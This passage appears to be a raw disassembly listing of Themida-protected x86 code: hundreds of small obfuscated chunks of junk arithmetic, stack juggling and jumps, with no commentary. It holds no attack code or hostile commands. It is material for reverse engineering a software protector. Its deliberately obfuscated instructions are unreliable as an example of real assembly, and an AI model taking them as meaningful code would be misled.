jmp loc_5856E8
; ---------------------------------------------------------------------------
loc_585476: ; CODE XREF: sub_585452+39C7j
mov esi, ebp
pop ebp
xor ebp, esi
mov esi, [esp+6+var_8+2]
add esp, 4
add edx, ebp
pop ebp
xor eax, edx
pop edx
push 4749h
mov [esp+0], esi
push edi
push 59B02EAFh
mov edi, [esp+6+var_8+2]
add esp, 4
not edi
sub edi, 0FFFFFFFFh
push edx
jmp loc_58804A
; ---------------------------------------------------------------------------
loc_5854AC: ; CODE XREF: sub_58DCD4-6840j
push 434Fh
mov [esp+0Ah+var_C+2], ecx
jmp loc_5897C7
; ---------------------------------------------------------------------------
loc_5854B9: ; CODE XREF: sub_585452+39F5j
sub edx, 7EEE0BDAh
jmp loc_58F436
; ---------------------------------------------------------------------------
loc_5854C4: ; CODE XREF: Themida_:00587930j
mov [esp+0Ah+var_C+2], ebx
jmp loc_586C47
; ---------------------------------------------------------------------------
loc_5854CC: ; CODE XREF: sub_58622C+4F16j
shl eax, 3
push ebp
jmp loc_58660B
; ---------------------------------------------------------------------------
loc_5854D5: ; CODE XREF: Themida_:0058D564j
xchg ebp, [esp+0Eh+var_10+2]
pop esp
shl [esp+0Ah+var_C+2], cl
jmp loc_583C20
; ---------------------------------------------------------------------------
loc_5854E1: ; CODE XREF: sub_58405E+40DCj
pop eax
xor [esp+6+var_4+2], edx
jmp loc_5865E7
; ---------------------------------------------------------------------------
mov cx, word ptr [esp+6+var_8+2]
push 19E9h
jmp loc_585FF8
; ---------------------------------------------------------------------------
loc_5854F9: ; CODE XREF: Themida_:0058E663j
add ebx, 904040B5h
xor edx, ebx
pop ebx
jmp loc_58E1BF
; ---------------------------------------------------------------------------
loc_585507: ; CODE XREF: sub_587574+3512j
push eax
mov eax, 0D0FBC2Dh
jmp loc_58760C
; ---------------------------------------------------------------------------
loc_585512: ; CODE XREF: Themida_:005877CFj
sub esp, 4
mov [esp+0Eh+var_10+2], ebx
sub esp, 4
mov [esp+12h+var_14+2], eax
mov eax, 1B78590Ah
mov ebx, eax
pop eax
and ebx, 3FC26DC4h
jmp loc_589D48
; ---------------------------------------------------------------------------
loc_585531: ; CODE XREF: Themida_:0058D895j
mov ebx, 6D8E1330h
jmp loc_58D010
; ---------------------------------------------------------------------------
loc_58553B: ; CODE XREF: sub_585452-12E0j
xor edx, ebx
pop ebx
add edx, 0EE903D7Ch
add ebp, edx
pop edx
push eax
push 2
pop eax
push ebx
mov ebx, 73D113C1h
add ebp, ebx
pop ebx
add ebp, eax
sub ebp, 73D113C1h
pop eax
xor ebp, [esp+0]
xor [esp+0], ebp
xor ebp, [esp+0]
jmp loc_585B55
; ---------------------------------------------------------------------------
loc_58556E: ; CODE XREF: sub_585452-12CCj
pop eax
sub al, bh
pop ebx
push 988h
mov [esp-8+arg_4], ebx
mov bl, 0Ch
or bl, 9Bh
or bl, 34h
inc bl
jmp loc_58E113
; ---------------------------------------------------------------------------
lodsb
push ecx
mov ch, 32h
not ch
push ebx
mov bl, 9
push edx
mov dh, 57h
shl dh, 7
inc dh
add dh, 0E8h
and dh, 0C1h
xor dh, 0BAh
jmp loc_58752B
; ---------------------------------------------------------------------------
loc_5855A8: ; CODE XREF: Themida_:0058F53Aj
add [esp+4+var_4], 4
pop esi
push ebp
jmp loc_58AED6
; ---------------------------------------------------------------------------
loc_5855B6: ; CODE XREF: sub_585452-1AEj
push [esp+arg_0]
pop eax
jmp loc_584B72
; ---------------------------------------------------------------------------
loc_5855C0: ; CODE XREF: sub_585452+930Aj
pop edi
pop [esp-4+arg_0]
mov esp, [esp-8+arg_4]
imul cl
movzx cx, ah
push small 1682h
jmp loc_58519B
; ---------------------------------------------------------------------------
loc_5855D6: ; CODE XREF: sub_584FAB+1j
mov ebx, 796B4684h
mov edx, 8694B97Ch
add edx, ebx
pop ebx
sub edx, 2FF913F6h
add edx, ebx
add edx, 2FF913F6h
xor dword ptr [edx], 1AFD2768h
pop edx
pop ebx
push [esp-12h+arg_E]
mov eax, [esp-0Eh+arg_8+2]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp-0Ah+arg_4+2]
pop esp
sub esp, 4
mov [esp-0Ah+arg_4+2], esi
mov esi, esp
push ecx
jmp sub_589C10
; ---------------------------------------------------------------------------
loc_58561E: ; CODE XREF: sub_58EF8B+Ej
mov ecx, [esp-6+arg_0+2]
add esp, 4
mov cl, dh
pop edx
pop eax
mov bl, cl
push [esp-12h+arg_E]
mov ecx, [esp-0Eh+arg_8+2]
add esp, 4
add esp, 4
mov [edi+eax*4+1], bl
pop ebx
jmp loc_587ED6
; ---------------------------------------------------------------------------
mov ax, word ptr [esp-1Ah+arg_16]
jmp sub_58EA34
; ---------------------------------------------------------------------------
loc_58564F: ; CODE XREF: sub_585452+8C15j
xchg ebx, edx
neg ebx
jmp loc_5874A3
; ---------------------------------------------------------------------------
loc_585658: ; CODE XREF: sub_585452+962Cj
xchg ebp, [esp-1Ah+arg_16]
pop esp
add esp, 4
bt [esp-22h+arg_1E], eax
pushf
jmp loc_583C20
; ---------------------------------------------------------------------------
loc_585669: ; CODE XREF: sub_585452+58A3j
xor edi, [esp-1Eh+arg_1A]
jmp loc_58AC9F
; ---------------------------------------------------------------------------
loc_585671: ; CODE XREF: sub_585452+7E8Aj
pop ecx
sub esp, 4
mov [esp-1Eh+arg_1A], edx
push eax
sub esp, 4
mov [esp-16h+arg_12], esp
push ebp
mov ebp, 4
add [esp-12h+arg_12], ebp
pop ebp
pop eax
jmp sub_5862E8
; ---------------------------------------------------------------------------
loc_585696: ; CODE XREF: Themida_:0058A032j
push 7B56h
jmp loc_58E5CA
; ---------------------------------------------------------------------------
loc_5856A0: ; CODE XREF: Themida_:0058A4ABj
mov edi, [esp-16h+arg_12]
add esp, 4
xchg eax, ecx
not eax
xchg eax, ecx
dec ecx
push ebp
push ecx
jmp loc_58F53F
; ---------------------------------------------------------------------------
mov ax, word ptr [esp-12h+arg_E]
push edx
mov edx, esp
add edx, 4
push esi
jmp loc_58FCE2
; ---------------------------------------------------------------------------
loc_5856C5: ; CODE XREF: Themida_:00587CDEj
mov [esp-0Ah+arg_4+2], edi
jmp loc_58FBE5
; ---------------------------------------------------------------------------
loc_5856CD: ; CODE XREF: Themida_:0058E01Fj
sub [esp-0Ah+arg_E], edx
pop edx
jmp sub_58BB49
; ---------------------------------------------------------------------------
loc_5856D7: ; CODE XREF: sub_58EFBD+766j
mov ebp, [esp-0Eh+arg_8+2]
jmp loc_58ACE9
; ---------------------------------------------------------------------------
mov cx, word ptr [esp-0Eh+arg_8+2]
jmp sub_58E6C2
; ---------------------------------------------------------------------------
loc_5856E8: ; CODE XREF: sub_585452+1Fj
push [esp+0Ah+var_8+2]
pop edx
jmp loc_586D48
; ---------------------------------------------------------------------------
loc_5856F2: ; CODE XREF: Themida_:00584ED5j
mov eax, esp
push ecx
mov ecx, 4
add eax, 0A0E2570h
add eax, ecx
sub eax, 0A0E2570h
pop ecx
push ecx
mov ecx, 4
add eax, ecx
pop ecx
push eax
jmp loc_5849CE
; ---------------------------------------------------------------------------
loc_585716: ; CODE XREF: sub_585452+521j
push [esp+0Eh+var_10+2]
pop ebp
jmp loc_58E0D9
; ---------------------------------------------------------------------------
loc_58571F: ; CODE XREF: Themida_:0058C106j
and ebp, ebx
pop ebx
xor ebp, 136B30E9h
add ebp, 0FFFFFFFFh
jmp loc_58A2E2
; ---------------------------------------------------------------------------
loc_585730: ; CODE XREF: sub_585452+4C05j
push ecx
mov ecx, 4
jmp loc_58C4D1
; ---------------------------------------------------------------------------
loc_58573B: ; CODE XREF: sub_58FA66-BBD9j
push edi
push esp
pop edi
push eax
mov eax, 7EF372FFh
shr eax, 3
xor eax, 38B712D8h
xor eax, 73AB28B9h
sub eax, 44C2543Ah
push ecx
mov ecx, 41F04340h
sub edi, ecx
jmp loc_58F6AB
; ---------------------------------------------------------------------------
loc_585763: ; CODE XREF: Themida_:0058F4A6j
add edx, 4
jmp loc_585431
; ---------------------------------------------------------------------------
lodsd
add eax, 44B77271h
sub eax, ebx
sub esp, 4
mov [esp+1Eh+var_20+2], esi
push edx
jmp loc_584357
; ---------------------------------------------------------------------------
push [esp+22h+var_24+2]
mov ecx, [esp+26h+var_28+2]
push ebx
mov ebx, esp
push esi
jmp loc_58E46B
; ---------------------------------------------------------------------------
loc_585794: ; CODE XREF: Themida_:0058890Bj
push 111Eh
mov [esp+32h+var_34+2], ebp
push eax
push edi
mov edi, 10523C83h
mov eax, edi
pop edi
jmp loc_58D81B
; ---------------------------------------------------------------------------
loc_5857AB: ; CODE XREF: Themida_:0058F991j
xor eax, ebp
pop ebp
neg eax
jmp loc_58E0FF
; ---------------------------------------------------------------------------
loc_5857B5: ; CODE XREF: Themida_:00588D0Fj
mov esp, [esp+32h+var_34+2]
ror word ptr [esp+32h+var_34+2], cl
pushf
jmp loc_583C20
; ---------------------------------------------------------------------------
loc_5857C2: ; CODE XREF: sub_58C92B-81D9j
pop edx
xchg edi, edx
neg edi
jmp loc_584B29
; ---------------------------------------------------------------------------
loc_5857CC: ; CODE XREF: Themida_:0058D8FCj
xchg esi, [esp+32h+var_34+2]
jmp loc_5864E6
; ---------------------------------------------------------------------------
lodsd
push ecx
mov ecx, 30F96791h
jmp loc_58D638
; ---------------------------------------------------------------------------
mov sp, word ptr [esp+36h+var_38+2]
jmp loc_583C20
; ---------------------------------------------------------------------------
loc_5857E9: ; CODE XREF: sub_585452+36E1j
xor [esp+36h+var_38+2], esi
xor esi, [esp+36h+var_38+2]
pop esp
imul ecx
push 73FDh
mov [esp+36h+var_38+2], edx
push eax
pushf
jmp loc_583C20
; ---------------------------------------------------------------------------
loc_585801: ; CODE XREF: sub_5877DD+1967j
pop ebp
pop ebx
jmp loc_589564
; ---------------------------------------------------------------------------
loc_585808: ; CODE XREF: Themida_:00587DB6j
add edx, ecx
pop ecx
add edx, 4
xchg edx, [esp+32h+var_34+2]
jmp loc_5881F1
; ---------------------------------------------------------------------------
lodsd
cmp dword ptr [edi+20h], 0
jz loc_585037
push edi
jmp loc_589C69
; ---------------------------------------------------------------------------
loc_58582A: ; CODE XREF: Themida_:00584A1Fj
mov ebx, 0E4C3CA3h
shl ebx, 4
dec ebx
jmp loc_58416C
; ---------------------------------------------------------------------------
push [esp+36h+var_38+2]
push [esp+3Ah+var_3C+2]
push [esp+3Eh+var_40+2]
mov eax, [esp+42h+var_44+2]
add esp, 4
add esp, 4
sub esp, 4
mov [esp+3Eh+var_40+2], ebp
mov ebp, esp
push 240Dh
mov [esp+42h+var_44+2], eax
jmp loc_58EA62
; ---------------------------------------------------------------------------
loc_585865: ; CODE XREF: Themida_:00589542j
sub ebp, ebx
jmp loc_58A55A
; ---------------------------------------------------------------------------
loc_58586C: ; CODE XREF: Themida_:00586B98j
xchg edi, [esp+42h+var_44+2]
mov esp, [esp+42h+var_44+2]
pop [esp+42h+var_44+2]
xchg edx, esi
push edx
not [esp+42h+var_44+2]
pop edx
push esi
push edx
pop esi
jmp loc_5862CB
; ---------------------------------------------------------------------------
loc_585884: ; CODE XREF: Themida_:0058BAF3j
pop ecx
jmp loc_58BD4C
; ---------------------------------------------------------------------------
loc_58588A: ; CODE XREF: Themida_:0058DDC1j
add edx, 4
sub edx, 4
xchg edx, [esp+3Eh+var_40+2]
jmp loc_58497C
; ---------------------------------------------------------------------------
loc_58589E: ; CODE XREF: sub_58E931-99F5j
inc edi
inc edi
xor edi, 75721572h
add edi, 78993C40h
add eax, edi
mov edi, [esp+3Eh+var_40+2]
add esp, 4
push ebp
mov ebp, esp
add ebp, 4
jmp loc_58856D
; ---------------------------------------------------------------------------
loc_5858C2: ; CODE XREF: sub_5862E8+2A09j
mov esp, [esp+3Eh+var_40+2]
mov [esp+3Eh+var_40+2], ecx
jmp loc_5862B6
; ---------------------------------------------------------------------------
push edx
mov edx, esp
add edx, 4
sub edx, 4
push edx
push [esp+46h+var_44+2]
jmp loc_58B004
; ---------------------------------------------------------------------------
loc_5858E6: ; CODE XREF: sub_585452+86BAj
pop esi
and eax, ebp
push [esp+46h+var_48+2]
jmp loc_58A82E
; ---------------------------------------------------------------------------
loc_5858F1: ; CODE XREF: sub_585452+5FA0j
push [esp+4Ah+var_4C+2]
pop eax
jmp loc_58E407
; ---------------------------------------------------------------------------
loc_5858FA: ; CODE XREF: sub_58DD80-E8Fj
not ebp
xchg ebp, ecx
sub ecx, 87BB5EBEh
xor eax, ecx
push [esp+4Ah+var_4C+2]
pop ecx
push edi
mov edi, esp
push ebp
mov ebp, 772E65B0h
push ecx
mov ecx, 37C64D77h
and ebp, ecx
pop ecx
xor ebp, 27DC0134h
add ebp, 18E63B6Ah
jmp loc_58EC25
; ---------------------------------------------------------------------------
loc_58592D: ; CODE XREF: Themida_:00584899j
pop ebp
pop edi
add esi, 4
xor esi, [esp+4Ah+var_4C+2]
xor [esp+4Ah+var_4C+2], esi
xor esi, [esp+4Ah+var_4C+2]
pop esp
sub [esp+46h+var_48+2], 0EA27D2h
add [esp+46h+var_48+2], eax
push esi
jmp loc_58D594
; ---------------------------------------------------------------------------
loc_58594C: ; CODE XREF: Themida_:0058D7F9j
mov ecx, 2AEB69D9h
mov edx, 2AEB69DBh
xor edx, ecx
pop ecx
push esi
mov esi, 5FB64030h
add edi, esi
pop esi
add edi, 6174196Ch
add edi, edx
jmp loc_58708A
; ---------------------------------------------------------------------------
loc_58596F: ; CODE XREF: Themida_:0058E904j
add [esp+46h+var_44+2], ebp
jmp loc_585716
; ---------------------------------------------------------------------------
loc_585978: ; CODE XREF: sub_585452+2080j
and cl, 95h
and cl, 26h
jmp loc_58C682
; ---------------------------------------------------------------------------
loc_585983: ; CODE XREF: sub_58DB2A+2Fj
mov esi, [esp+46h+var_48+2]
push eax
mov eax, esp
push ebp
mov ebp, 4
add eax, ebp
jmp loc_58EC53
; ---------------------------------------------------------------------------
loc_585996: ; CODE XREF: sub_585452+7150j
neg ebx
neg ebx
shr ebx, 1
xor ebx, 6CCAE5F7h
sub edi, 4792213Ch
add edi, 18E921A0h
jmp loc_58CF2A
; ---------------------------------------------------------------------------
loc_5859B3: ; CODE XREF: Themida_:0058F3ECj
push 6905h
push 1BE0h
mov [esp+56h+var_58+2], esp
add [esp+56h+var_58+2], 4
pop [esp+56h+var_58+2]
jmp loc_58E8C9
; ---------------------------------------------------------------------------
loc_5859CF: ; CODE XREF: Themida_:00589771j
sub ebx, edx
sub ebx, 42CC458Fh
pop edx
jmp loc_5843F4
; ---------------------------------------------------------------------------
loc_5859DD: ; CODE XREF: Themida_:0058756Fj
push edi
xchg eax, [esp+52h+var_54+2]
not eax
xchg eax, [esp+52h+var_54+2]
jmp loc_587621
; ---------------------------------------------------------------------------
loc_5859EB: ; CODE XREF: sub_58E761-3D60j
sub esi, ebx
sub esi, 604B0F54h
mov ebx, [esp+52h+var_54+2]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp+56h+var_58+2]
pop esp
xor esi, [esp+52h+var_54+2]
xor [esp+52h+var_54+2], esi
xor esi, [esp+52h+var_54+2]
jmp loc_58E7DE
; ---------------------------------------------------------------------------
loc_585A14: ; CODE XREF: Themida_:0058FC61j
xchg ebp, [esp+52h+var_54+2]
pop esp
push ebx
mov ebx, 70A5599Ah
sub ebx, 70A55996h
jmp loc_58703F
; ---------------------------------------------------------------------------
loc_585A29: ; CODE XREF: Themida_:00589078j
add ebx, 2
push ebx
push [esp+56h+var_54+2]
pop ebx
pop [esp+56h+var_58+2]
mov esp, [esp+52h+var_54+2]
and word ptr [esp+52h+var_54+2], ax
pushf
jmp loc_583C20
; ---------------------------------------------------------------------------
loc_585A42: ; CODE XREF: sub_585452+8EC8j
mov edx, [esp+56h+var_58+2]
add esp, 4
add ebx, edi
push [esp+52h+var_54+2]
pop edi
add esp, 4
sub ebx, eax
push ecx
jmp loc_58A571
; ---------------------------------------------------------------------------
loc_585A5C: ; CODE XREF: Themida_:0058D438j
push [esp+52h+var_54+2]
pop ebp
add esp, 4
jmp loc_583EB3
; ---------------------------------------------------------------------------
loc_585A68: ; CODE XREF: Themida_:0058E648j
mov eax, 5CF83CE7h
sub esi, eax
pop eax
jmp loc_58641D
; ---------------------------------------------------------------------------
loc_585A75: ; CODE XREF: Themida_:00588E01j
mov esi, esp
add esi, 4
sub esi, 4
jmp loc_5866D4
; ---------------------------------------------------------------------------
loc_585A85: ; CODE XREF: sub_58DEA3-678Fj
add edx, 4
add edx, 4
xchg edx, [esp+4Ah+var_4C+2]
jmp loc_58AF96
; ---------------------------------------------------------------------------
loc_585A96: ; CODE XREF: Themida_:0058439Cj
sub esp, 4
mov [esp+4Eh+var_50+2], edx
push 4695439Bh
jmp loc_5884E0
; ---------------------------------------------------------------------------
loc_585AA6: ; CODE XREF: sub_58BE98+1238j
add eax, 0F5FCFDACh
push eax
sub [esp+56h+var_58+2], 62DE0A87h
jmp loc_58B3EB
; ---------------------------------------------------------------------------
loc_585AB8: ; CODE XREF: Themida_:0058529Ej
push 429Ch
mov [esp+5Ah+var_5C+2], esp
add [esp+5Ah+var_5C+2], 4
jmp loc_585D9D
; ---------------------------------------------------------------------------
loc_585ACC: ; CODE XREF: Themida_:005848BAj
mov ebx, 14235375h
sub edx, ebx
pop ebx
or ecx, ecx
jz loc_588E30
push 5DBFh
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp+5Eh+var_60+2]
pop esp
mov [esp+5Ah+var_5C+2], esp
push ebp
push ebx
mov ebx, 4
jmp sub_58C230
; ---------------------------------------------------------------------------
loc_585B00: ; CODE XREF: sub_58905F+4483j
pop ebp
xor esi, 11CF6CE1h
push esi
pop eax
jmp loc_5892A5
; ---------------------------------------------------------------------------
loc_585B0E: ; CODE XREF: Themida_:0058C2C1j
dec dh
jmp loc_58C973
; ---------------------------------------------------------------------------
loc_585B15: ; CODE XREF: sub_585452-DC9j
mov [esp-4+arg_0], edx
push esp
jmp loc_58AC60
; ---------------------------------------------------------------------------
loc_585B1E: ; CODE XREF: sub_585452+DF6j
push 4444h
jmp loc_58BCBE
; ---------------------------------------------------------------------------
loc_585B28: ; CODE XREF: sub_585452+A01j
mov esi, [esp+4+var_4]
add esp, 4
inc ecx
sub ecx, 5F904896h
and ecx, 2E66695Dh
sub ecx, 3CE96DE0h
push ebx
mov ebx, 0D17CB36Ah
xor ecx, ebx
pop ebx
add edx, ecx
pop ecx
jmp loc_584CEA
; ---------------------------------------------------------------------------
loc_585B55: ; CODE XREF: sub_585452+117j
pop esp
idiv cl
jmp loc_58A7DE
; ---------------------------------------------------------------------------
loc_585B5D: ; CODE XREF: sub_585452+81FBj
mov edi, [esp-14h+arg_E+2]
add esp, 4
add esp, 4
add eax, ebx
sub esp, 4
mov [esp-18h+arg_12+2], ebx
mov ebx, 1A376A0Ah
add eax, 2D8F32C2h
sub eax, ebx
sub eax, 2D8F32C2h
mov ebx, [esp-18h+arg_12+2]
add esp, 4
add eax, 30F96791h
jmp sub_58DD80
; ---------------------------------------------------------------------------
loc_585B9B: ; CODE XREF: Themida_:0058B76Aj
mov ebx, esp
add ebx, 4
jmp loc_58718D
; ---------------------------------------------------------------------------
loc_585BA8: ; CODE XREF: sub_585452+623Dj
xor edx, 85B61B2Bh
add ebx, edx
pop edx
push edx
push 14FEh
mov [esp-18h+arg_12+2], ecx
mov cl, 0FAh
mov dh, 85h
xor dh, cl
push [esp-18h+arg_12+2]
push [esp-14h+arg_E+2]
jmp loc_5876CA
; ---------------------------------------------------------------------------
loc_585BCB: ; CODE XREF: Themida_:00584F9Fj
push ecx
jmp loc_5895AE
; ---------------------------------------------------------------------------
mov ax, word ptr [esp-0Ch+arg_8]
push edi
sub esp, 4
push esp
pop dword ptr [esp+0]
add [esp-4+arg_0], 4
jmp loc_58FA58
; ---------------------------------------------------------------------------
loc_585BEC: ; CODE XREF: sub_585452+5BC3j
pop edx
neg edx
jmp loc_5850DD
; ---------------------------------------------------------------------------
loc_585BF4: ; CODE XREF: sub_585452+2EBAj
and eax, edi
push [esp-8+arg_4]
pop edi
add esp, 4
shr eax, 0Bh
jmp loc_587517
; ---------------------------------------------------------------------------
loc_585C05: ; CODE XREF: Themida_:00584BB6j
push ebx
jmp loc_587F57
; ---------------------------------------------------------------------------
loc_585C0B: ; CODE XREF: Themida_:0058D5F3j
sub ebx, edi
mov edi, [esp-8+arg_4]
jmp loc_58EF15
; ---------------------------------------------------------------------------
loc_585C15: ; CODE XREF: Themida_:00587983j
inc ebp
sub ebp, 1DB01667h
jmp loc_58F5FC
; ---------------------------------------------------------------------------
loc_585C21: ; CODE XREF: Themida_:00587823j
mov edi, 2495475Eh
add edx, edi
jmp loc_58869B
; ---------------------------------------------------------------------------
loc_585C2D: ; CODE XREF: Themida_:0058679Cj
neg ah
push ecx
mov ch, 6Bh
not ch
shr ch, 7
dec ch
xor ch, 0Ah
jmp loc_587B77
; ---------------------------------------------------------------------------
loc_585C41: ; CODE XREF: sub_585452+87ACj
push eax
mov eax, 70480C8Eh
jmp loc_583CB7
; ---------------------------------------------------------------------------
loc_585C4C: ; CODE XREF: sub_585452+653Dj
pop edi
add ebp, 2
jmp loc_58B3F7
; ---------------------------------------------------------------------------
loc_585C58: ; CODE XREF: Themida_:0058A18Cj
push [esp-4+arg_4]
pop edx
pop [esp-4+arg_0]
pop esp
jmp loc_58F41F
; ---------------------------------------------------------------------------
loc_585C66: ; CODE XREF: Themida_:0058F188j
mov ch, 82h
mov bh, 0D6h
xor bh, ch
pop ecx
jmp loc_5888EA
; ---------------------------------------------------------------------------
loc_585C72: ; CODE XREF: Themida_:005884C0j
sub al, 15h
add al, bh
add al, 15h
pop bx
sub al, 7Dh
sub al, 8Fh
sub al, bl
jmp loc_583D89
; ---------------------------------------------------------------------------
loc_585C85: ; CODE XREF: Themida_:0058E014j
add edx, esi
jmp loc_584024
; ---------------------------------------------------------------------------
loc_585C8C: ; CODE XREF: Themida_:00587209j
mov edi, esp
jmp loc_58A676
; ---------------------------------------------------------------------------
loc_585C93: ; CODE XREF: sub_585452-11B2j
add esp, 4
push edi
push [esp-10h+arg_E+2]
mov edi, [esp-0Ch+arg_8]
add esp, 4
pop dword ptr [esp+0]
jmp loc_584B2F
; ---------------------------------------------------------------------------
loc_585CAC: ; CODE XREF: sub_58D7D9-7942j
or ecx, edx
jmp loc_58ACE0
; ---------------------------------------------------------------------------
loc_585CB3: ; CODE XREF: sub_585452+6F7Aj
mov esp, [esp-14h+arg_E+2]
movzx ecx, al
jmp loc_589F6A
; ---------------------------------------------------------------------------
loc_585CBE: ; CODE XREF: Themida_:00586C57j
xchg ebp, [esp-14h+arg_E+2]
pop esp
mov [esp-18h+arg_12+2], esi
jmp sub_58960C
; ---------------------------------------------------------------------------
loc_585CCA: ; CODE XREF: sub_585452+571Cj
pop ecx
pop ebx
push ebp
mov ebp, 5B4236E5h
add [esp-1Ch+arg_1E+2], ebp
pop ebp
add [esp-20h+arg_1E+2], eax
sub [esp-20h+arg_1E+2], 5B4236E5h
pop eax
jmp loc_583C20
; ---------------------------------------------------------------------------
loc_585CE9: ; CODE XREF: sub_58E234-442Fj
or ebx, 0BB906C5h
sub ebx, 0C395FE70h
mov edx, ebx
jmp loc_58F515
; ---------------------------------------------------------------------------
loc_585CFC: ; CODE XREF: Themida_:00587D53j
add edx, ecx
pop ecx
push edi
mov edi, 0FEE768B8h
add edx, edi
pop edi
add eax, edx
mov edx, [esp-28h+arg_24]
add esp, 4
xor ebx, eax
push edi
mov edi, esp
add edi, 4
push esi
jmp sub_589FD5
; ---------------------------------------------------------------------------
loc_585D24: ; CODE XREF: sub_585452+5387j
mov [esp-24h+arg_1E+2], esi
mov esi, 192371A4h
mov edi, 1DE1245Ah
xor edi, esi
mov esi, [esp-24h+arg_1E+2]
add esp, 4
add edi, 1
inc edi
jmp loc_58630E
; ---------------------------------------------------------------------------
loc_585D48: ; CODE XREF: Themida_:0058FB5Cj
push edi
push 2E6B501Ah
pop edi
neg edi
xor edi, 1DB204B4h
mov esi, edi
jmp loc_58F4C4
; ---------------------------------------------------------------------------
loc_585D5E: ; CODE XREF: Themida_:0058C98Cj
add ebx, 4
sub ebx, 4
xchg ebx, [esp-24h+arg_1E+2]
pop esp
mov [esp-28h+arg_24], eax
mov eax, 4
add ebx, 6C42ECFh
add ebx, eax
push ecx
mov ecx, 38240EE1h
inc ecx
jmp sub_58D28B
; ---------------------------------------------------------------------------
loc_585D8A: ; CODE XREF: sub_585452+4FB2j
xor [esp-24h+arg_1E+2], ebx
xor ebx, [esp-24h+arg_1E+2]
xor [esp-24h+arg_1E+2], ebx
not ebx
xchg ebx, [esp-24h+arg_1E+2]
jmp loc_5851A8
; ---------------------------------------------------------------------------
loc_585D9D: ; CODE XREF: sub_585452+675j
pop ebp
add ebp, 4
add ebp, 4
xchg ebp, [esp+56h+var_58+2]
pop esp
pop [esp+52h+var_54+2]
pop esp
jmp loc_584A48
; ---------------------------------------------------------------------------
loc_585DB4: ; CODE XREF: Themida_:0058AFEEj
mov ebx, 3EB862C6h
shr ebx, 3
shr ebx, 7
jmp loc_58D5D8
; ---------------------------------------------------------------------------
loc_585DC4: ; CODE XREF: Themida_:0058BD25j
jmp loc_583C20
; ---------------------------------------------------------------------------
loc_585DC9: ; CODE XREF: Themida_:0058A555j
mov [esp+4Ah+var_4C+2], ebp
mov ebp, 4
add eax, ebp
mov ebp, [esp+4Ah+var_4C+2]
add esp, 4
add eax, 4
xchg eax, [esp+46h+var_48+2]
mov esp, [esp+46h+var_48+2]
jmp loc_58F416
; ---------------------------------------------------------------------------
loc_585DE7: ; CODE XREF: Themida_:0058F694j
add esp, 4
push edi
mov edi, esp
add edi, 4
push ecx
mov ecx, 4
sub edi, ecx
pop ecx
xchg edi, [esp+46h+var_48+2]
jmp loc_58424C
; ---------------------------------------------------------------------------
loc_585E07: ; CODE XREF: Themida_:0058521Fj
sub edx, 69D516F6h
and edx, 6580669Ah
add edx, 0B53FFF6h
xor ebp, edx
pop edx
jmp loc_58E12F
; ---------------------------------------------------------------------------
loc_585E21: ; CODE XREF: Themida_:0058E2ACj
add edi, ecx
push eax
mov eax, 1E62295Bh
sub eax, 0B4FD130Bh
sub edi, 136947B8h
sub edi, eax
add edi, 136947B8h
pop eax
pop ecx
push edi
jmp loc_589098
; ---------------------------------------------------------------------------
loc_585E44: ; CODE XREF: sub_585452-6F7j
mov [esp-1Ah+arg_16], edx
mov edx, 0
jmp loc_588D78
; ---------------------------------------------------------------------------
loc_585E51: ; CODE XREF: Themida_:0058F0F4j
xor ecx, esi
jmp loc_585B28
; ---------------------------------------------------------------------------
loc_585E58: ; CODE XREF: sub_585452-C67j
mov [esp+4+var_4], ebp
mov ebp, 1
and eax, ebp
jmp loc_5883D8
; ---------------------------------------------------------------------------
loc_585E67: ; CODE XREF: Themida_:0058EE04j
xor edx, 273237Fh
add edx, 70B037D7h
jmp loc_58DB11
; ---------------------------------------------------------------------------
loc_585E78: ; CODE XREF: sub_585452+9j
shr bh, 6
jmp loc_588F6B
sub_585452 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58D7D9
loc_585E80: ; CODE XREF: sub_58D7D9-5FF5j
mov ecx, 0F054B3Dh
push edx
mov edx, 0D2C2665h
add edx, 708A1430h
sub edx, 180E0979h
jmp loc_585CAC
; END OF FUNCTION CHUNK FOR sub_58D7D9
; ---------------------------------------------------------------------------
loc_585E9C: ; CODE XREF: Themida_:0058742Bj
mov [esp], edx
push esp
mov edx, [esp]
add esp, 4
add edx, 4
push 618Eh
mov [esp], esi
jmp loc_588560
; ---------------------------------------------------------------------------
loc_585EB9: ; CODE XREF: Themida_:0058D161j
add edx, 39DD2292h
add edx, esi
jmp loc_58FA4A
; ---------------------------------------------------------------------------
loc_585EC6: ; CODE XREF: Themida_:0058B6DCj
add ecx, 1D24027h
mov edi, ecx
mov ecx, [esp]
add esp, 4
add ecx, edi
mov edi, [esp]
add esp, 4
xor ecx, [esp]
xor [esp], ecx
jmp loc_58E87B
; ---------------------------------------------------------------------------
loc_585EEA: ; CODE XREF: Themida_:0058415Fj
mov ax, [esp]
jmp loc_587DCB
; ---------------------------------------------------------------------------
loc_585EF3: ; CODE XREF: Themida_:00584F60j
add edx, 11465CEDh
mov esi, [esp]
add esp, 4
jmp loc_589573
; ---------------------------------------------------------------------------
loc_585F07: ; CODE XREF: Themida_:0058A0D5j
pop ecx
add ecx, 4
push ebp
mov ebp, 5B497C5Eh
dec ebp
shr ebp, 8
or ebp, 5DFC0CEDh
push 54BEh
mov [esp], eax
mov eax, 1
sub ebp, eax
jmp loc_588BEC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58BCA7
loc_585F32: ; CODE XREF: sub_58BCA7-1FDBj
add esp, 4
add esp, 4
push ebp
push eax
push ebx
jmp loc_5888E0
; END OF FUNCTION CHUNK FOR sub_58BCA7
; ---------------------------------------------------------------------------
lodsd
xor eax, ebx
jmp loc_58CAE5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_589967
loc_585F4B: ; CODE XREF: sub_589967-5A9Ej
pop esi
xchg ebx, [esp+0]
pop esp
push eax
mov eax, esp
jmp loc_58BCF9
; END OF FUNCTION CHUNK FOR sub_589967
; ---------------------------------------------------------------------------
loc_585F58: ; CODE XREF: Themida_:0058B1C4j
pop ebp
push ecx
jmp loc_58D791
; ---------------------------------------------------------------------------
loc_585F5F: ; CODE XREF: Themida_:00586919j
add dword ptr [esp], 4
pop dword ptr [esp]
sub esp, 4
jmp loc_58BF17
; ---------------------------------------------------------------------------
loc_585F74: ; CODE XREF: Themida_:0058453Dj
pop ecx
add ecx, 4
